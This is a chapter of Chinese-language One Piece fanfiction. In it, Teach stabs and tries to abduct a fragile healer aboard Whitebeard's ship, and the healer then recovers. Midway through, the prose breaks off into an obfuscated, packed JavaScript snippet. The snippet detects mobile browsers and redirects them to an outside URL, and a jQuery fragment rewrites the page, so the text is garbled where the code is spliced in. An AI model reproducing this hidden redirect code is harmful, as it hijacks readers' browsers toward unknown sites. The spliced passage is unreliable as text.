香克斯牵着茵弗的手在院子里走着。当时他曾经说过耶索普的妻子在疗程开始的五年后要找他复诊,早已到时间了,甚至超过些许。他们海贼团去东海休整一段时间也好,力量的积攒不能一蹴而就。只是... 他拉拉身旁静止不动的人,轻声问他在干什么。 “...有蝴蝶。” “你喜欢吗?” 巧克力一样的人等了一会儿,用气音嘀咕:“如果我不动它会落在我鼻子上吗?” 香克斯看向前方,果然有几只白色的蝶在飞舞,他也小声问:“因为你是花吗?” 身旁的人摇头,又突然顿住,保持静止,小声回答道:“因为我是尸体。” 红发青年拉过他,在他鼻子上亲了一下代替蝶吻后把他抱到怀里,“你还活着,记得吗?”,怀里的人哼了一声“我又没傻”。 他俩差不多高,他下巴搭在茵弗的肩上,看向他背后的船员们,露出一个有点无奈的笑。 耶索普用袖子蹭过眼睛:“我知道了。” 香克斯安慰地看着自己的伙伴:“我们可以回去看看,带她在分部或者伊甸鲸上检查身体。茵弗现在能力还没有恢复正常。” 一个矮矮的小团子突然冒出来,头上还带着钻树丛留下的叶子,一缕光穿刺带着霉味的潮湿。 “哇啊!香克斯又要去冒险吗!这次带我吧!” 又有两个脑袋钻出来。 “喂—路飞!被发现了吗这不是!” “好痛!萨博,艾斯又打我!” “好啦艾斯,反正早就被看到了。” 香克斯松开茵弗,蹲下身子对路飞做了个鬼脸,这段时间的相处让他很喜欢这孩子。 “海贼船可不是给小孩子玩的地方,笨蛋——” “你才笨蛋,乌塔不是都可以跟着吗?” 茵弗也蹲下来一左一右地抱着艾斯和萨博,亲昵地贴脑袋。 “好可爱,你们也想去吗?喜欢冒险?” 两个小孩点头,他们很小就跟着波比旅行,后来又去了莫比迪克,现在如果有跟着帅气的龙头船冒险的机会当然好。 自从那天就发现了,就算脑子里乱糟糟的,宠爱这群孩子们好像就是茵弗的某种本能一样。香克斯又很难拒绝茵弗,虽然想让他跟着一起的请求被拒绝了。因为马尔科不知道什么时候先他一步和露玖他们说好自己要带他去莫比迪克上做客。 “你干脆也来我们船上不就好了嘛马尔科!” “少说蠢话红发yoi。” 露玖微笑着坐在桌边看屋子里一群人各种大呼小叫。要寂寞一阵子了呢,罗跟着堂吉诃德兄弟走了,三个孩子要去东海,家里没什么人基拉基德干脆打算去七水之都继续学习机械,萨奇加入白胡子,这次离开大概以后也不会经常回来了... 都长大了啊,转眼之间。 一旁的贾巴伸了个懒腰,用手肘戳戳雷利:“那我也先回艾尔巴夫,这回有事提前联系我啊,反正基站也建起来了。” 雷利摆摆手,告诉他顺便把罗宾带着。她也要跟着拜访萨乌罗,继续研究奥哈拉留下的文献。 □□早就离开回到革命军了。茵弗能下床他就走了,别扭的家伙。不过巴基倒是准备留在伟大航路,一边冒险一边帮忙,之前出去找茵弗那一趟他还收了不少小弟,海贼团又扩大不少,驻扎在海域附近的岛。 库洛卡斯带着茵弗从医务室走出来,交给马尔科病历本和最新体检结果,叮嘱他一些注意事项。体检完的人凑到他们身边坐下,也托着脸看屋子里的人,倒是没有发呆,一脸认真的表情。 雷利摸摸他的头,问他东西都收拾好了吗。 “嗯,礼物带好了。衣服,其他的他们说那里都有。”雷利点头,递给他一个手杖,圆润的顶部很适合扶着,从两侧微微合拢的翅膀开始整体呈上宽下窄,两条蛇交叉攀爬其上。 他的项链和耳饰已经物归原主,但是佩刀没了,手枪那天没带走所以还在。大部分时候他的佩刀都是当棍子用的,所以雷利干脆估摸着大概的重量去给他订了一根,平时就可以当手杖,不坐轮椅的时候走路会舒服一点。 “双蛇杖。” “喜欢吗,罗宾设计的。” “一百个喜欢。” 茵弗摸着雕刻出鸟式花纹的部分,犀利的眼与喙,缱绻的线条,大概是一只鹰?隼?不是鸽子,是捕食者类的鸟。 他下意识将其覆盖上漆黑的武装色,转了一下后抡了两把,差点打掉台子上的花瓶。重量很好,比他习惯的要重一些,也许是他还在恢复的关系。 “如果下面再尖一点就好了。” “那样走路会不太方便吧。” “可是我可以像这样”,他将霸气凝在底部,不顾上臂微微颤抖,站起身后将其戳在雷利身上,微微用力,“刺穿。” 雷利很放松,任由他怼着,指指他的胳膊说别太逼自己,慢慢来。在对方坐回来继续描摹盘蛇上的花纹时开口:“不需要更尖锐也可以,你再恢复些就做得到。” 茵弗叹了口气,但是不是因为对自己没有回到从前状态而不耐。他嘀咕着:“我的刀断了啊...混蛋...” 贾巴和雷利对视一眼,小心地问是谁弄断的。放下手杖的人摇摇头,换了个话题,模仿着自己用刀鞘卡住什么的动作,然后挥刀。 “乒乒乓乓,然后啪嚓!超级大的一声响。” “然后呢?” 茵弗耸耸肩,拎起自己新的手杖,意思是然后就这个咯。 有关玛丽乔亚的记忆在恢复? 雷利揉揉鼻梁,对着马尔科招手,他得知道这个消息,以免在莫比迪克上出什么意外。他可不想再出现和罗杰有关的记忆慢慢回来的时候那样措手不及了。突然崩溃,不知道自己为什么崩溃,然后下一秒就问他罗杰什么时候和□□打完架,他该吃药了...一下子把进度拉回去一大截。 至少他这次是久违地亲自带着波比出去,熟悉的感觉也会有帮助。 奇迹游医再次进入新世界,很多人都等着看他这次是要做什么,是否还会去托特兰以终于确定他们之间的关系,到底有没有联姻。 各方势力焦急的屏息等待后,那只大蜗牛却停靠在了白胡子的某一座属岛。 世界经济新闻报派出人员,独家采访,花里胡哨阴谋论写了整整一版面,最后结论是——他就是去行医的,和往常一样而已。不过大家可以猜测他会不会和白胡子的某一位儿子联姻,也许这位同样以家庭著称的海上皇帝也要学习BIGMOM了。这次人选很多,多买报纸,优先投票哦。 战国将手里的报纸丢到一边,有些头疼地骂这都什么乱七八糟的。卡普无所谓地扣着鼻子,说老夫都告诉你了他不会站队的,你就这么跟上边解释,海军现在还吃着人家包括现在在奥比塔拉和伊甸鲸的优惠,给他们那群老头省多少钱啊。 “越是这样五老星就越是想把他拉拢到这边,上次他们已经派了间谍,暴露后罗西给我的消息。” “哇哈哈哈哈居然还暴露了,一边让人家对政府印象变差一边让海军去拉拢人家?” 战国也觉得无奈,拍开卡普乱喷的仙贝渣子,拿过一张文件。 “算了,说到伊甸鲸,G2那边又有一只部队被救下了,幸好海兵伤亡不算大,但是军舰没保住,古米尔交上来的报销单真是看得我头疼...” “哈哈哈哈哈实在不行你跟罗西那小子说,让他跟他商量...” 不过那小子进新世界了啊,这次应该真的是他本人吧。大概没事了?卡普又拿起养胃什么好吃仙贝嚼着,喝了一口让人放松的绿茶,估计着等他这次回来之后找借口去一趟,再要两片生命卡,看看孙子们。 被猜测会不会和白胡子海贼团联姻的人和白胡子的儿子在白胡子的属岛上逛街。 虽然马尔科和萨奇已经和队长们大致说过他现在的状态,可是实际见到还是让更相熟的几位不舒服。 “小医生,这个你喜欢吗?” 被询问的人偏过头,看到一片明亮的白色,晃得眼睛痛。他眯眼反应了一会儿,终于在凝聚成一朵白花,便凑上去闻了闻。 “桔梗花。” “嗯。” 他们是来接他去莫比的,毕竟波比不能一直跟着航行,马尔科让他和拉克约来,先让他适应一下,看看见到他们有什么反应。 他记得他们,但不记得全部,微笑着说以藏变小了。是他早都长高了。他们聊天,在老爹的岛上闲逛,等着跟在旁边的马尔科判断他可以去莫比。他在他的示意下买了一支花递给有些神游的人,看马尔科默默点头的样子应该是差不多了。 “泡水喝可以止咳哦,如果您需要的话。” 以藏笑笑,马尔科说的对,再怎么样也还是那个小医生。 回去的时候拉克约夸他的新手杖很帅,看小医生有点得意地耍了几下,大概意思应该是可以用来打架。然后在准备见老爹时将手杖像刀一样别在腰间,执拗地要亲自抱着带来的礼物,又是个大箱子。 “哇,好大。” “咕啦啦啦你还打算长到我这么高吗,小鬼?” 白衣的小医生歪头思考了一会儿,摇了摇头。“我过了生长的年龄了。” 他像上一次一样对着白胡子打开自己的箱子,意外地是像从前一样讲话,以藏看到马尔科低头在手上的便签本上记录了什么。 “初次、不对不是初次了,鱼人岛见过呢。好久不见,这次也给您和家人带了礼物,谢谢您们对萨奇的照顾,以后他就拜托了。” 又是恶魔果实,不过更多。 “上次的您们还喜欢吗?这次自然系、动物系、超人系各一颗。” 茵弗也盘腿坐在地上,将三颗颜色各异的恶魔果实摆出来,认真的样子像小孩子玩石子一样。微微皱眉,大概是想不起来他们都是什么了。 “抱歉,我晚点打电话虫问一下火烈鸟先生好了。” 和往常一样的大手笔还是那么让人咋舌,聚集在甲板上的船员们又开始像上次一样大呼小叫。比斯塔摸着下巴,嘀咕这不是以后想要恶魔果实直接找他要或者买就好了吗。 有点吵闹的声音让一边摆弄恶魔果实一边和白胡子聊天的人止住话头,偏过头好像在听什么一样。马尔科观察了一下,收起手中的便签本后戳戳萨奇,示意他过去。 萨奇笑嘻嘻地凑到自家老师旁边,蹲下身替他把果实重新放回箱子后塞到他怀里,“那就晚点先问问再说吧老师,你想去看看你的舱房吗?”,他牵起他空闲的一只手,对着坐在高大座椅上的男人点头,“那我先带老师走了老爹,晚点再找你说话。” 白胡子笑着回应,在他们离开后喝了一口酒,起身和队长们去会议室,他们得听马尔科好好聊聊具体情况,他做客的这段时间他们要注意什么。 甲板上的船员们也四散开去做各自的事情,不少人还兴奋地聊着那三颗果实会给谁。 “基尔队长的果实就是他给的吧,超强的啊!” “哈哈哈给你你也当不了队长的啦!” “不吃卖掉也可以啊!好几亿呢吧!” “当年小医生也说过类似的话呢!” “喂、如果你的话你会选哪个?” “动物系?马尔科队长变幻形态真的很帅啊。” “你呢,蒂奇?” “...” “蒂奇?” 高大的胖黑男人视线从船舱方向收回,露出一个憨厚的笑: “贼哈哈哈哈哈,我没有兴趣啦!” - 茵弗倒是颇有兴致地看着镜子里的自己,还有他身后的男人。他后背上的印记还没有消掉,毕竟面积太大,他现在状态又不太适合做手术,他们担心长时间的麻醉可能会加剧他的损伤。 不过他们会给自己抹祛疤膏什么的,所以淡了很多。虽然知道的人仍然一眼就能看出来是什么。他自己其实不太在意,在他看来它和其他伤疤没什么区别,一道印记不能代表他隶属谁,即使他有时候脑子不清醒也知道没有这样的道理。不过他们在意,就随他们去了。 给他上药的人动作很温柔,按摩吸收的手法也很熟练,也许这就是为什么他们让他来做这件事。 “不凉。” “嗯?” “您涂的时候不凉呢,不过好慢啊。” 穿和服的男人笑笑,缓缓地在挖起一团软膏时用手指先搓暖。 “着急吗?” “不急呢。” 他看着他在镜子里的神色,学着马尔科教的样子询问他是否记得自己是谁,''一遍遍加深印象''大概是这么个理由。 面前的人蹙眉,半晌说了句以藏阁下。 “是我,小阁下,你可以只叫我以藏。” 修长的手指轻柔地滑过被破坏的肌肤,其实慢还有别的原因。以藏垂眸,对他明明下午还记得自己,晚上就有点不认得了这件事感到些许心酸,心酸也还有别的原因。 “别难过,虽然您难过的时候也很漂亮。” 以藏没有回答,停下手上的动作后将马尔科给的药膏妥善收起,在他背上搭衬衫时手被牵住了。 “嗯...您的手很美。”茵弗说着,“您...教我用枪,谢谢。” 这回是以藏抬起他的手,在手背上吻了一下。 在将小医生送回房间后他也洗漱准备休息,决定明天询问一下马尔科继续带着他学用枪,一点花柳流,也是否会也对他的恢复有帮助。 在他躺下时,他没在意从他房门前经过的脚步声。 马歇尔·D·蒂奇悄悄地靠在队长们的舱房区最边缘的一间门外,探查着里面的人的动静。他不会看错的,今天奇迹游医拿出来的三颗恶魔果实里,自然系的那颗就是他梦寐以求的暗暗果实。仅仅十几年就主动来到他的眼前,这是命运的旨意。 今天晚餐后,以藏提前带着奇迹游医离开,然后马尔科告诉大伙他现在是受伤的状态,可能会有时有点迷糊,让大家照顾一下。队长们表情异常严肃,在他来后就去开会,关于他的伤一定是隐瞒了什么信息。等自己终于有机会溜到队长们的舱房附近时,他看到以藏带披着衬衫的奇迹游医出来,直觉告诉他那就是秘密。自己一定要将暗暗果实拿到手,然后向世界展开自己的野心,不管是什么方式。 他遮盖住自己的气息,悄悄将房门推开一条缝。屋里隐约有一点灯光,奇迹游医背靠门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15043932|154812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐在椅子上打电话虫,询问关于恶魔果实的话题。 昏暗的灯光下,赤裸着的上身上隐约能看到的烙印——天翔龙之蹄。大概刚上完药不久,还带着一点嫩色晾着。原来如此。 蒂奇的心扑通扑通跳了起来。之前玛丽乔亚的大事件人尽皆知,他很明显之前不是奴隶,这次来却突然有了烙印,结合马尔科说的受了伤,程度需要让全体船员都认真对待... 他和那件事有关系? 以此威胁拿到果实?他现在的势力如果能吞下,哪怕只有一半也会给自己节省不少精力...那么把他交给政府来换... 蒂奇离开了,在遇到守夜的船员时友善地说自己反正不用睡觉,闲着无事可以替兄弟换个班。他去厨房偷来点物资,如果被抓就说自己守夜饿了想吃夜宵就行,然后备好了一艘小船,指针,电话虫... 准备结束,月亮已经低了,海上漫起雾气。他更加感到兴奋——这是上天都在帮助他。只要自己逃到海上,借着浓雾跑得快一点,一时半会儿就算他们发现了,莫比迪克也追不上自己。 奇迹游医很强,但是受伤的状态,加上自己突袭的话大概没问题,他也不是这船上的大伙以为的只有那么一点实力。 他再次走向那间舱房。 茵弗的能力和他的见闻色某种意义上来说是挂钩的,所以感知对他来说是强项。或者说、本该如此。但是他现在能力如香克斯所说“还没有恢复”,就像一块电路板,玛丽乔亚烧坏了它,修养了很久也仍然紊乱,连带着他的霸气一起。 所以他没意识到有人在房门外,只是听到一丝脚步声时回头,下意识展开见闻色时反而让自己变得晕乎乎的。电话虫对面的多弗朗明哥询问他几声后没有得到回答,呋呋呋笑着说他该早点睡觉了。 “嗯...好像、有人?” “那是艘很大的船,医生,当然到处都是人。关好门呋呋呋,小心别被人看到你背上的东西。” “它又不代表什么?” “呋呋呋对你来说也许。” 真是奇怪的逻辑。 茵弗道了晚安,确定自己的门是关好的,摸索着发现了之前没注意的东西,锁?他耸耸肩,把门栓上。回到桌边把记下的果实名字和作用又读了一遍,在感到头疼时将其夹到箱子的缝隙里,关灯躺到床上。 敲门声? 半梦半醒间,他睁开眼。 浅眠惊醒所带来的嗡地耳鸣让他皱眉,起身坐了一会儿,在轻轻的敲门声再次响起时确定不是幻觉。他下床后套上衬衫,没有系扣子走到门边,问了声谁。 没有回答。 现在几点了?他不太确定、时间对他来说还有点混沌。眯着眼睛看不清,也看不懂墙上的钟表,也许是以藏?自己有什么东西落下了? “以藏...?几点了?” 他打开门锁,却在那一瞬间被闯入的人撞到屋内,只看到背着屋外蒙蒙亮光的宽大黑影。 “贼哈哈哈,抱歉,医生,你睡了吗?” “谁...?” “我是蒂奇啊,我们一起讨论过恶魔果实的,你不是带来了吗?” 对方的步步逼近让他很不舒服,自己今天在甲板上许诺过某个船员要给其中一颗恶魔果实吗?太吵了当时...他听不清... “哦...我不记得了抱歉,我是说要给您一颗吗?我还没问、啊我问了...不过几点了?”他转过身去摸索收起来的箱子,“以藏睡了——唔!” 他的口鼻被捂住,后背撞上一个散发着酒与汗气的胸膛,腹间一凉。 诶? “贼哈哈哈,谢啦小医生,不过不想死的话就别出声哦。” 好痛。 好痛—— 好痛!!!! 他也没法出声,被死死捂住的口鼻让他根本没法呼吸。那把刀被抽了出去,发出噗嗤的一声响,然后再次捅了进来。 精准的两刀,大量滚烫的血液从淌下,让他本来就在迷糊的脑子痛的发白,指尖发冷,力气也一同被快速抽干。 窒息和失血很快就让他瘫软在陌生人怀中。捂在脸上的手被布团替代,身上被什么勒住后,被放倒躺在自己的血里。 “贼哈哈哈你是不会死的,你的伤药很好用不是吗?乖乖晕过去,奴隶。” 黑影在他视线里分裂成三个,摇摇晃晃地摸索着,最后咔哒一声直起身子,他带来的礼物被夹在腋下。三个人变成四个,每一个都在他身上摸。 在被再次扛起的一刻突然一丝火花闪过。 ''这是哪里来的?'' ''嗯...那个人、你要小心,是白胡子船上的...'' 蒂奇? 红色的眼上,三道斜着的伤疤,被他用手指吻过,疑惑着自己破碎的记忆里是否有它,自己为什么没治好它。 ''...就是那个不睡觉的...'' ''痛吗?'' ''哈哈...你根本没在听嘛,记得我是谁吗...'' 蒂奇正为无比顺利的计划而感到欣喜,只要到小船上,他的新生与腾飞近在咫尺。等小船支撑到最近的陆地就吃下暗暗果实,然后换船,联系世界政府,还好他们为了接这家伙离岛屿不算远。三颗恶魔果实,另外两颗也可以运作... 肩上的人突然腿部抽了一下,没关系,只要留有一口气——— 他的确飞起来了,不过是向后,后背撞上船舱的墙壁才反应过来身前的剧痛。他被踢飞了?不,麻麻的阵痛更像是被震开了。 怎么可能?他忍着身体里莫名的疼痛,呕出一口血后快速爬起,自己的砝码和装有果实的箱子都还掉在原地。船舱里已经有杂乱的脚步声,和敌袭的呼喊,必须要快,至少拿到果实! 蒂奇捂着胸口跑去,看清地上神志不清的人左腿上还覆盖着一点漆黑的武装色,不断抽搐着。自己勒住他伤口和手臂的布条已经被鲜血渗透,因为缺血和循环的阻断,反剪在背后的双手看起来快废了。 这个状态怎么可能?自己的内脏一定是伤到了,他又吐出一口血,骂了一声后优先捡起箱子,也没功夫再把这家伙扛起来,拽着他的腿就往船舷的方向拖。 “那边!” “发生了什么!” “守夜的兄弟呢!” 没时间了,该死的。黑色卷发的胖大男人干脆丢下手里的人,向海中跳去。 下落到一半,他护住箱子做好落水的姿势,在与自己的生路越来越近时却突然悬空静止,歪曲的鼻梁堪堪接触到海面,下一刻被扑来的浪打湿。尖锐的爪刺入他的身体,他勉强扭过头,对上一脸愤怒与震惊的不死鸟。 本来灼烧般疼痛的胸腔和他面上的海水一样变得冰凉——完了。 “小医生?!” “茵弗!!!!” “喂、快送到医务室!” “先把他解开!” 被拖拽着在甲板上留下一道血迹的人在轰隆隆的脚步声围住自己时终于闭上半合的眼。 ''我听见了,香克斯。'' - “老爹!老爹!那家伙是个奴隶啊!你要为了一个奴隶杀了你的儿子吗!” “我白胡子,没有你这样的儿子!!!” 海上的皇帝发怒了。 72.噼啪噼啪 噗噜噗噜噗噜噗噜噗噜。 噗噜噗噜噗噜噜。 萨奇也体会到了当时露玖和雷利的心情。他坐在医务室外面,靠着墙双手捂着脸,不断颤抖着,口袋里画着双蛇杖的电话虫不断地响起。他该怎么说?带着老师到莫比的第一天,他就差点被人杀了?还是被本来应该算得上是“家人”的家伙? 哦,马尔科还在做手术。生命卡烧的就剩一角,已经四个小时了。 他没心情去做早饭,本来要早起给老师做烤吐司的,用宽口杯装热牛奶,他很喜欢像小孩子一样泡着吃。 不少船员都在他身旁坐着,试图给他一些力量。昨天下午会议时还坚定地说会努力照顾好他的人们都愧疚地抿着嘴,一言不发。 只有电话虫声回响的长廊里,脚步声响起,巍峨的白胡子走来,在他们身侧坐下时好像无比疲惫,老了十岁。 “怎么样了,儿子们。” 萨奇发出一声呜咽,只能捂着脸摇头。他身旁的以藏安慰地搭上他的肩膀,示意了一下比斯塔手里的生命卡。 “没有变得更糟...但是持续一会儿了。” 电话虫声音断开,然后再次响起。白胡子叹了口气,伸出手,询问是否可以让他来接。 萨奇摇头,又点头,最后抹了一把脸,亲自翻出电话虫放在他的手掌上接起。 雷利的声音传来:“萨奇!发生什么了,茵弗的生命卡...马尔科联系不上。” 白胡子率先开口:“马尔科在抢救他,雷利。” 雷利:“抢救...你最好给我个解释,纽盖特。” 冥王无比冰冷的语气让白胡子的队长们都打了个寒颤,他们看着老爹,永远支撑着他们的男人缓缓开口。 “昨夜...” 没人愿意回想昨夜,即使只是几个小时之前。抹去昨天,走向明天,海贼一直都是这样的。可是被愤怒的马尔科摔在甲板上的兄弟、叛徒;莫比甲板上那拖拽留下的一道红,还有新收拾出的舱房里,渗透在木板里的血,都像昨夜一样难以被擦除。 蒂奇不认为自己是叛徒,他哀求老爹放他一条生路。''他不是家人,我才是家人'',''他只是个奴隶'',''我只是想做一番事业给你看''...太多太多的话从他口中流出。在白胡子没有松口后又变成破罐子破摔的愤怒,骂他是个''一个只会过家家的老头'',''身体能治好也不愿意去运用自己力量的懦夫'',''为什么不能给自己的儿子铺路''... 在他骂尽了,骂透了,白胡子举起丛云切时,说出那句话时,他的一切也就戛然而止。 透过电话虫好像都能感受到雷利那无形的霸王色。其实故事很短、很简单。蒂奇糟蹋了他的礼物、他们的信任,如果不是他半昏迷状态下的那一下,被糟蹋的东西还会更多。 “我为没有教好蒂奇向你道歉。” “道歉?你——” 一道温和的女声打断了他,雷利的声音变远,大概是被推开了。 “你好,纽盖特先生,我是露玖。” 坚强又温柔的声音洗涮过长廊,理解与失望,安慰与担忧,编织成一卷厚厚的毯子笼罩在所有人之上。温暖,但是带着重量。 她代替雷利与白胡子交谈,没有因为对方的身份而后退一步,她站在家人的身份同样要求这个家人。 “等有了结果,我们再谈。” “当然,如果孩子们得知此事,也传达白胡子海贼团的歉意。” 雷利的声音在挂断前远远传来: “管好你的儿子们,白胡子!” 咔嚓。 萨奇收回自己的电话虫,起身决定去做饭。老师可能不能吃,但是别的人还需要。露玖妈妈在电话虫中对他特意的安慰让他好受了点,他拍拍裤子,伸手拉起以藏,说该吃饭了,不吃早饭不健康。 众人沉默地一齐走向饭厅时,白胡子带着一丝疲惫的声音再次回响。 “抱歉,我的儿子。” 萨奇拍拍他的腿,“我也是。” 才醒来半年左右的人又陷入了昏睡。蒂奇造成的伤正常来说并不致命,但是对于一个已经敲过一次死门的人来说,足够危险。马尔科记录着病历,揉了揉酸涩的眼睛。 至少这次他能判断出他会醒,即使可能比正常速率要慢得多。他知道老爹和萨奇已经给奥比塔拉打过电话虫了,但是他还是亲自去了消息,将手术结果告知。 库洛卡斯相信他的判断,让他时刻监测。雷利只是询问什么时候把他送回来。马尔科拜托他们再相信他们一次,至少等茵弗醒过来,无论如何,他是最需要听到他们道歉的人。 来探问的以藏将带来的白桔梗插在花瓶里,比斯塔在他枕边放下一朵玫瑰。床上的人即使睡着也眉头微蹙,呼吸面罩盖在脸上。比斯塔捻着胡子,半晌后终于开口,“他当时...也是这样?你们也是这种心情?”牵着自己自己老师的高大青年摇摇头,“至少我们知道他会醒。” 比一般受同样的伤的人慢太多,但是的确如此。马尔科这些年被他教得很好,实践经验不算足,但是配合船上其他负责医疗的兄弟,他的确醒了。 嘈杂的仪器声开始哔哔作响,睡在医务室的马尔科睁开眼,赶到床边时正好看到一只颤抖的手将脸上的面罩扯下来,大口呼吸着,眼神散乱,好像从什么噩梦中惊醒。 他立刻一边安抚一边检查,确认他的状态。直到心电仪传出更加平稳的声响,再次从死海里爬出来的人重新睡着。 他醒来的消息很快传遍莫比迪克,前一周马尔科只同意了老爹和萨奇的访问。逐渐开始加入三名以内的队长们。好消息是他的进展没有回退到原点,坏消息是... “我的腿废了吗?感觉不到了。” “好好复健的话不会的yoi,但是以后可能会痛。” 他本就恢复得慢的左腿承接不住那么多集聚的霸气,总之下床后就得坐回轮椅,重新做康复训练。旧伤叠新伤,留下的后遗症程度会变严重。他可以治别人的旧伤,但他听不到自己。 拉克约挠挠脸,说至少你的手杖很帅?被以藏打了一拳。 他记得发生了什么,虽然是根据当时状态理解的——一个黑影来要恶魔果实,变成了伤害过香克斯的蒂奇。白胡子亲自解释了一切,并和他的儿子们一起表达了歉意。 床上的人盯了他一会儿,说他也很抱歉那个人将您们的爱丢弃,明明如此珍贵。在问他们最后是如何处理之后,他建议他们在空船里点上蜡烛漂流海上——对水手的哀悼。 “对蒂奇愤怒,但是花一天时间允许自己为了失去兄弟和儿子悲伤吧。” 白胡子有些动容,以藏伸出手,轻轻摸着他的脸颊,看他像小动物一样下意识蹭了蹭。 “你原谅我们了吗?” “本来也不是您们的错吧。” 他眯起眼睛,勾起嘴角,露出一点牙。 “现在的我可能明天就忘记蒂奇是谁了,到时候不用再提醒我。” 那几颗果实他没有送出,因为他们拒绝接受。他只是无所谓地耸耸肩,也没那么在乎。本来送果实就是因为他只记得自己送过那一次,不记得之后还送过药酒之类的东西,阴差阳错还闹出这么多事情。 他也同样没所谓自己什么时候回去,报纸上的新闻已经从投票他会和谁结婚变成白胡子海贼团在他看诊时设计弄伤他之后强行扣押了。老样子,真真假假。 但是担心的露玖妈妈和更担心的雷利老妈子和他商量,身体好些了就回波比,如果还想在外面玩朱尼尔他们会陪着,最好回前半段去。 一次不算成功的做客。 浅金色头发的人坐在白胡子肩上神游,一只手无意识地玩着他的月牙胡子。甲板上人群熙熙攘攘,堆起来想让他带走的礼物越来越高。 噼啪——一丝火花闪过。 曾经自己要来这艘船的时刻也是这样,怀里的礼物越堆越高。 “怀迪贝小姐不在吗?” “我女儿有自己的海贼团了。” 茵弗点了点头,对,他早就知道这件事了。 半兽化的马尔科飞到附近,观察了一会儿他的状态后示意老爹把他放下来。 “我是谁,小医生yoi?” “菠萝。” 马尔科翻了个白眼。 “你在哪yoi。” “白鲸。” 不死鸟点点头,捏捏他的脸后推着轮椅带他去看那堆礼物。大量麻药的使用还是不可避免地留下影响,他现在痛觉反馈很慢。不过其他进度都在恢复,尤其是记忆,反而在某种刺激后不再杂乱无章,所以恢复快了不少,大概能算上是小恩惠吧。 雷利叹了口气,挂掉电话虫。 这算什么?就像是拾起土里散碎的麦穗,一点点地积攒,给自己拼凑一顿饱餐。 露玖收起他的酒杯,换成一杯柠檬水。 他的记忆在回来,身体在康复。也许左腿会疼痛,手杖会长久地用下去,也许他仍然会迷糊——至少他小时候就很喜欢晒太阳发呆。 但抖去草屑与泥土的麦子仍然可以被磨成白白的面,烤成一块松软的吐司。金发白衣的猫会带着他从死亡里学会的笑,咬一口后说好吃,也许会把脚失礼地翘在桌子上。 不死鸟是马尔科,但他也算得上是某种涅槃重生的凤凰。星火闪过,烈焰燎原,即使他没有力气从灰烬里爬起,他们也会将他捞出来的,就像是□□那样。 雷利喝着柠檬水,不止第一次感慨眼前的女人不愧是让罗杰坠入爱河的D。 露玖笑笑,用杯中的清水与他干杯。 - 波比来了新的客人,萨奇将推着的轮椅交给朱尼尔,自己去搬那些大大小小的礼物,朱尼尔带着笑,那种完美的笑,对着穿和服的男人半鞠躬,欢迎他来做客。 茵弗不打算立马就回去。他肯定会被管起来。所以他在以藏用折扇往他脸上扇风逗他玩时说想去和之国。 凯多现在盘踞在鬼岛,御田当了将军。双方在对峙中都有受伤,白胡子当年在拜访时表明自己会站在他兄弟这边,他和凯多在洛克斯那艘利益抱团拼凑出的恶船上时也没有多少情谊。 海上皇帝之间不会轻易发起战争,御田本身也实力不俗,现在形成诡异的平衡。凯多不大肆进犯和之国,御田并不介意他驻扎在鬼岛。他又是个武痴,两个人打着打着还磨出了一种莫名的友谊。 莫比迪克上有御田的生命卡,有和之国的永久指针。就像是那天在院子里一样,小医生捏着根马尔科的羽毛一挥,想去哪里就去哪里。 提供羽毛的人没有跟着,那些乌泱泱说要跟着一起的兄弟们也没有跟着。把白胡子海贼团,百兽,和奇迹游医三个放在一起,会让世界政府不安。 但是奇迹游医和和之国就没关系。 萨奇跟着,以藏跟着,等他回奥比塔拉的时候再回莫比迪克。 临行前雷利的判断是正确的,他关于玛丽乔亚的记忆的确在恢复,即使发生了这件事。接近和之国的某一天,他喝着萨奇给自己做的流食,突然问了一句金妮有没有跟大熊结婚。 朱尼尔:“上次联系的时候她的孩子倒是出生了,别的不知道呢。” 当啷。 茵弗的手突然抓不住勺子,呻吟一声捂住疼痛的额角。以藏有些担心,起身按马尔科指导的方式安抚他。 “对、她怀孕了,所以我才——” 噼啪、噼啪。 他靠在以藏怀里,再睁开眼时身下已经变成柔软的床。靠在床头的武士闭着眼睛,一只漂亮的手还抚在他头上。从轻轻抚摸他头发的手指来看,大概是没睡着的。 “以藏...?几点了?” 美丽的武士有些惊喜地睁开眼睛,在他坐起身子同样靠在床头时扶了一把。 “晚上九点左右,你现在能吃得下东西吗?萨奇还没休息。” 大概睡了...几个小时? “哦不,亲爱的,你睡了两天了。” 茵弗揉着脑袋点点头,试着展开自己的见闻色。仍然雾蒙蒙的,但是好一些了,他摸摸以藏的手,顺着手套滑到手腕,尝试摒弃那些幻听。 “你现在在哪?” “...波比。” “我们要去哪?” “和之国。” 以藏满意点头,再次询问他是否有胃口吃东西。 “您是我的客人...不要照顾我。” “我们是朋友,小阁下。” “也对...我想喝苹果汁。” 穿和服的男人起身,看茵弗起身取过床边的手杖,慢慢走了几步后坐上轮椅,他在他身上搭了一个毯子后替他开门。 萨奇在厨房准备明天的食材,看到他醒了很开心,听他的要求后取出苹果。自家老师咬着吸管,满脸刚睡醒的迷茫和乖巧,询问他错过了什么。 “嗯...你收到一封信。” 很普通的信封,很普通的信纸,但是会被新闻鸟专门送到波比的来信不多。他拆开,手里转着裁纸刀,慢慢读着,在看到落款的冒着火花的饼干图样时下意识眯眯眼睛。 “我们下一座岛在哪停靠?” “莫卡贝奇。” 以藏帮他取来回信的纸笔,询问是谁的来信。茵弗慢慢写着,卡在喉咙里的名字转了几圈,最后吐出来一句“夏洛特”。 “BIGMOM?” “她的孩子们,有关我给的药物开始出现抗药性的事情。” “什么药物?” “...我太不记得了,但是跟思食症有关。药方可能还在我这里,晚点看一下。” 在莫卡贝奇和他见面的是布蕾,这次会面是瞒着妈妈的,也不能被别人注意,她给了他一面镜子后便离开了。 朱尼尔帮他把巨大的镜子搬回波比,放到他卧室旁的走入式衣橱。在以藏担心的嘱托声中,他转着轮椅走了进去。 布蕾很快就赶到,眼眶红红地带他到熟悉又陌生的小麦岛城堡。他想起来一半一半吧,所以对他们反而手里拿着思食症药物药方感到一瞬间的意外。 